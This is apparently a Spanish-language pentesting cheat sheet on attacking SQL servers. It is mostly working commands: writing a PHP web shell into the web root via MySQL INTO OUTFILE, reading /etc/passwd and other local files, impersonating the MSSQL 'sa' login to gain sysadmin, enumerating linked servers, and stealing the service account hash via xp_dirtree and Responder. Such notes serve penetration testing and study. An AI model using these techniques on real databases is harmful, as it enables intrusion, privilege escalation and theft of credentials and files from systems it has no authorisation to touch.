Cualquier usuario, grupo o máquina permitida para acceder al servidor SQL.
Dependiendo de los privilegios de un usuario, podemos realizar diversas acciones: leer/cambiar la base de datos, ejecutar comandos, leer archivos locales, comunicarnos con otras bases de datos, capturar el hash del sistema local, suplantar usuarios y acceder a otras redes.
MySQL no tiene un procedimiento como xp_cmdshell pero podemos escribir un archivo PHP en el servidor web si tenemos los privs (puerto 80 abierto)
sql
SELECT "<?php echo shell_exec($_GET['c']);?>" INTO OUTFILE '/var/www/html/webshell.php';
Si MySQL está configurado con la variable secure_file_priv vacía, podemos leer y escribir archivos sin restricciones.
sql
show variables like "secure_file_priv";
Leer Archivos Locales
sql
-- MSSQL
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents;
-- MySQL
SELECT LOAD_FILE("/etc/passwd");
Capturar Hash MSSQL
Usando xp_dirtree o xp_subdirs, podemos robar el hash de la cuenta de servicio MSSQL haciendo que el servidor SQL acceda a un servidor SMB controlado por el atacante (Responder)
Permiso especial IMPERSONATE. Identificar usuarios que podemos suplantar:
sql
SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'
Suplantar al usuario "sa":
sql
EXECUTE AS LOGIN = 'sa'
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin');
REVERT;
Comunicación con Otras BBDD
Si hay un servidor vinculado en MSSQL, podemos ejecutar consultas en bases de datos remotas:
sql
SELECT srvname, isremote FROM sysservers
EXEC sp_linkedservers
EXECUTE('SELECT @@servername, @@version') AT [LOCAL.TEST.LINKED.SRV];